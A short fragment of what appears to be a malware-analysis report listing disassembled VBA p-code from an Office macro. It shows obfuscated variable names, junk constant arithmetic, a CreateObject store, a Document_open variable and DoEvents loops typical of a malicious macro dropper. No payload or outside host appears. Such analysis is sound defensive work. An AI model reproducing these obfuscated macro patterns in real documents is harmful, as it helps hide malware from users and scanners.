' 	St bmxvRTTBmQ 
' Line #59:
' Line #60:
' 	Ld Vkeqjgee 
' 	MemLd Wzgyidge 
' 	MemLd Tag 
' 	St CreateObject 
' Line #61:
' 	LitDI4 0xD921 0x0001 
' 	LitDI4 0xEC94 0x000A 
' 	Ne 
' 	IfBlock 
' Line #62:
' 	LitDI4 0xD921 0x0001 
' 	LitDI2 0x07C5 
' 	Add 
' 	St Document_open 
' Line #63:
' 	LitDI4 0xEC94 0x000A 
' 	LitDI2 0x07DD 
' 	Sub 
' 	St mnYaLPCBoJ 
' Line #64:
' 	ElseBlock 
' Line #65:
' 	Ld Document_open 
' 	Coerce (Str) 
' 	Ld mnYaLPCBoJ 
' 	Coerce (Str) 
' 	Concat 
' 	Paren 
' 	ArgsCall mmUPSPeNPb 0x0001 
' Line #66:
' 	EndIfBlock 
' Line #67:
' 	StartForVariable 
' 	Ld MsgBox 
' 	EndForVariable 
' 	LitDI2 0x0009 
' 	LitDI2 0x003B 
' 	For 
' Line #68:
' 	ArgsCall DoEvents 0x0000 
' Line #69:
' 	StartForVariable 
…

Open this report in the interactive analyzer, or submit your own file for analysis.